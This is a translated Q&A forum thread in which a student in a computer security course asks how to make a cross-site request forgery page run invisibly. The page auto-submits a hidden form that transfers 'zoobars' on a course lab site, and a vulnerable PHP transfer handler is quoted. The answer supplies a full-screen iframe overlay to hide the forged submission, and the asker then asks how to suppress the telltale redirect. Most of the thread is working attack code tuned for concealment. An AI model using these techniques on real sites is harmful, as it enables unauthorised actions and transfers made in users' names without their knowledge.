【问题标题】:How to submit a form invisibly with the help of iframe如何在 iframe 的帮助下不可见地提交表单
【发布时间】:2016-01-26 16:56:59
【问题描述】:

这是关于我正在学习的计算机安全课程的问题。

我有以下 WORKING HTML 文档,它只是为我提交了一个表单:

<form method="POST" name="transferform"
  action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se")
</script>

现在我想将表单隐藏在 iframe 后面。我已经按照互联网上的其他解决方案提出了这个:

<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
  action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>

<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se");
</script>
</iframe>

还有这个:

<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
  action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
</iframe>
<script>
document.getElementsByName("submission")[0].click();
</script>

,它们之间的唯一区别是结束 iframe 标记的位置。

我的问题是,当我使用浏览器(支持 iframe)打开文档时,我看到了 iframe,但我没有通过document.getElementsByName("submission")[0].click(); 行提交表单获得想要的效果。提交由网站在 transfer.php 文件中处理,其相关部分是:

<?php 
  require_once("includes/common.php"); 
  nav_start_outer("Transfer");
  nav_start_inner();
  if($_POST['submission']) {
    $recipient = $_POST['recipient'];
    $zoobars = (int) $_POST['zoobars'];
    $sql = "SELECT Zoobars FROM Person WHERE Username='" .
           addslashes($user->username) . "'";
    $rs = $db->executeQuery($sql);
    $sender_balance = $rs->getValueByNr(0,0) - $zoobars;

    $sql = "SELECT Username, Zoobars FROM Person WHERE Username='" .
       addslashes($recipient) . "'";
    $rs = $db->executeQuery($sql);
    $recipient_exists = $rs->getValueByNr(0,0);
    if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists) {
      $sql = "UPDATE Person SET Zoobars = $sender_balance " .
             "WHERE Username='" . addslashes($user->username) . "'";
      $db->executeQuery($sql);
      $sql = "SELECT Zoobars FROM Person WHERE Username='".
             addslashes($recipient) . "'";
      $rs = $db->executeQuery($sql);
      $recipient_balance = $rs->getValueByNr(0,0) + $zoobars;
      $sql = "UPDATE Person SET Zoobars = $recipient_balance " .
             "WHERE Username='" . addslashes($recipient) . "'";
      $db->executeQuery($sql);
      $result = "Sent $zoobars zoobars";
    }
    else $result = "Transfer to $recipient failed.";
  }
?>

据我所知,我制作的 HTML 文档在没有 iframe 的情况下也能正常工作,我相信 iframe 会以某种方式阻碍或改变脚本的执行。有没有人知道这是不是真的?如果不是,是什么原因导致这种改变或无法正常工作?

【问题讨论】:

    标签: javascript php html iframe


    【解决方案1】:

    如果我没听错的话,你想将表单隐藏在 iframe 后面。

    所以

        <form method="POST" name="transferform"
      action="http://dasak.csc.kth.se/zoobar/transfer.php">
    <p>Send <input name="zoobars" type=text value="1" size=5> </p>
    <p>to <input name="recipient" type=text value="sahand" size=10></p>
    <input type=submit name="submission" value="Send">
    </form>
    
    <iframe style="background-color:grey;display:block;position:fixed;top:0px;left:0px;right:0px;bottom:0px;z-index:9999"></iframe>
    
    <script>
    document.getElementsByName("submission")[0].click();
    location.replace("http://dasak.csc.kth.se")
    </script>
    

    结果:https://jsfiddle.net/ccj27ojf/

    【讨论】:

    • 您好,感谢您的回复!我已经尝试过了,问题是我在提交表单后被重定向到“dasak.csc.kth.se/zoobar/transfer.php”页面。这是不可取的,有什么办法可以防止吗?
    猜你喜欢
    • 2010-12-01
    • 1970-01-01
    • 2016-11-12
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-12-19
    • 2021-11-17
    相关资源
    最近更新 更多